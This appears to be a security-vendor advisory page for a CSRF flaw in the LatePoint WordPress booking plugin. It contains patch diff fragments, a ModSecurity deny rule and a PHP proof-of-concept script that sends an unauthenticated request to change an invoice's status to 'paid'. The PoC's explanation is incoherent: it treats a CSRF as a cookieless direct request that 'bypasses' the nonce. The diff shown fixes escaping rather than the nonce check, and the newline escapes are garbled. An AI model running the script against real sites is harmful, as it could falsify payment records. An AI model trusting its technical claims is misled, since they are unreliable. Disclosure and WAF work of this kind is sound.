+            if($total_balance > 0) $payment_portions[LATEPOINT_PAYMENT_PORTION_FULL] = sprintf( __( 'Full Price [%s]', 'latepoint' ), OsMoneyHelper::format_price( $total_balance, true, false ) );
             if($deposit_amount > 0) $payment_portions[LATEPOINT_PAYMENT_PORTION_DEPOSIT] = sprintf( __( 'Deposit Only [%s]', 'latepoint' ), OsMoneyHelper::format_price( $deposit_amount, true, false ) );
             $payment_portions[LATEPOINT_PAYMENT_PORTION_CUSTOM] = __( 'Custom', 'latepoint' );

--- a/latepoint/lib/views/orders/_full_summary.php
+++ b/latepoint/lib/views/orders/_full_summary.php
@@ -49,21 +49,21 @@
                 </div>
                 <div class="fsoi-main">
                     <span><?php esc_html_e( 'Order #', 'latepoint' ); ?></span>
-                    <strong><?php esc_html_e($order->confirmation_code); ?></strong>
+                    <strong><?php echo esc_html( $order->confirmation_code ); ?></strong>
                 </div>
             </div>
             <div class="full-summary-order-info-elements">
                 <div class="fsoi-element">
                     <span><?php esc_html_e( 'Created:', 'latepoint' ); ?></span>
-                    <strong><?php esc_html_e(esc_html( OsTimeHelper::get_readable_date( new OsWpDateTime( $order->created_at, new DateTimeZone('UTC'))))); ?></strong>
+                    <strong><?php echo esc_html( OsTimeHelper::get_readable_date( new OsWpDateTime( $order->created_at, new DateTimeZone( 'UTC' ) ) ) ); ?></strong>
                 </div>
                 <div class="fsoi-element">
                     <span><?php esc_html_e( 'Status:', 'latepoint' ); ?></span>
-                    <strong><?php esc_html_e($order->get_nice_status_name()); ?></strong>
+                    <strong><?php echo esc_html( $order->get_nice_status_name() ); ?></strong>
                 </div>
                 <div class="fsoi-element">
                     <span><?php esc_html_e( 'Payment:', 'latepoint' ); ?></span>
-                    <strong><?php esc_html_e($order->get_nice_payment_status_name()); ?></strong>
+                    <strong><?php echo esc_html( $order->get_nice_payment_status_name() ); ?></strong>
                 </div>
             </div>
         </div>
--- a/latepoint/lib/views/services/index.php
+++ b/latepoint/lib/views/services/index.php
@@ -13,7 +13,7 @@


 		<?php if(OsRolesHelper::can_user('service__create')){ ?>
-            <?php echo OsUtilHelper::add_resource_link_html(__('New Service', 'latepoint-pro-features'), OsRouterHelper::build_link(OsRouterHelper::build_route_name('services', 'new_form') )); ?>
+            <?php echo OsUtilHelper::add_resource_link_html(__('New Service', 'latepoint'), OsRouterHelper::build_link(OsRouterHelper::build_route_name('services', 'new_form') )); ?>
 		<?php } ?>
       </div>
     </div>
@@ -32,7 +32,7 @@
           <?php
         } ?>
 		<?php if(OsRolesHelper::can_user('service__create')){ ?>
-            <?php echo OsUtilHelper::add_resource_link_html(__('New Service', 'latepoint-pro-features'), OsRouterHelper::build_link(OsRouterHelper::build_route_name('services', 'new_form'), ['service_category_id' => $service_category->id] )); ?>
+            <?php echo OsUtilHelper::add_resource_link_html(__('New Service', 'latepoint'), OsRouterHelper::build_link(OsRouterHelper::build_route_name('services', 'new_form'), ['service_category_id' => $service_category->id] )); ?>
 		<?php } ?>
       </div>
     </div>
--- a/latepoint/lib/views/settings/general.php
+++ b/latepoint/lib/views/settings/general.php
@@ -631,7 +631,7 @@
                             ); ?>"
                         >
                             <i class="latepoint-icon latepoint-icon-external-link"></i>
-                            <span><?php esc_html_e('Export Data'); ?></span>
+                            <span><?php esc_html_e('Export Data', 'latepoint'); ?></span>
                         </a>
                         <a data-os-lightbox-classes="width-700" data-os-action="<?php echo esc_attr(OsRouterHelper::build_route_name('settings', 'import_modal')); ?>" href="#" data-os-output-target="lightbox" class="latepoint-btn latepoint-btn-grey latepoint-btn-outline"><i class="latepoint-icon latepoint-icon-download"></i><span><?php esc_html_e('Import Data', 'latepoint'); ?></span></a>
                     </div>
--- a/latepoint/lib/views/support_topics/view.php
+++ b/latepoint/lib/views/support_topics/view.php
@@ -10,7 +10,7 @@
 }
 ?>
 <div class="latepoint-lightbox-heading">
-	<h2><?php esc_html_e(OsSupportTopicsHelper::get_title_for_topic($topic)); ?></h2>
+	<h2><?php echo esc_html( OsSupportTopicsHelper::get_title_for_topic( $topic ) ); ?></h2>
 </div>
 <div class="latepoint-lightbox-content">
 	<?php include('partials/'.sanitize_file_name($topic.'.php')); ?>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-9719
# This rule blocks CSRF exploitation attempts against the LatePoint invoices__change_status AJAX action
# when the request lacks the required _wpnonce parameter.
# The attack is detectable because the vulnerable endpoint (invoices__change_status) without nonce is never legitimate.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261997,phase:2,deny,status:403,chain,msg:'CVE-2026-9719 - LatePoint CSRF via invoices__change_status',severity:'CRITICAL',tag:'CVE-2026-9719'"
  SecRule ARGS_POST:action "@streq invoices__change_status" 
    "chain"
    SecRule ARGS_POST:_wpnonce "@rx ^$" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9719 - LatePoint <= 5.6.0 - Cross-Site Request Forgery via invoices__change_status Action

// Configuration: Set the target WordPress URL (without trailing slash)
$target_url = 'http://example.com'; // CHANGE THIS

// The endpoint for the AJAX action
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Invoice ID to change (attacker must know this; the example uses 1)
$invoice_id = 1;

// Status to set: 'paid' (attacker wants to mark unpaid as paid)
$new_status = 'paid';

// Build the POST payload without the _wpnonce parameter
$post_data = array(
    'action'     => 'invoices__change_status',
    'invoice_id' => $invoice_id,
    'status'     => $new_status,
);

// Initialize cURL to send the forged request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_COOKIE, ''); // Attacker has no cookies; nonce check bypassed

// Execute the exploit request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output results
echo "Exploit attempt to change invoice #{$invoice_id} to status '{$new_status}'n";
echo "HTTP Response Code: {$http_code}n";
echo "Response Body: " . ($response ? $response : 'No response') . "n";
echo "Note: This PoC will fail if nonce is required, which is the case in patched versions.n";
echo "In vulnerable versions (<=5.6.0) without the nonce parameter, the request succeeds.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School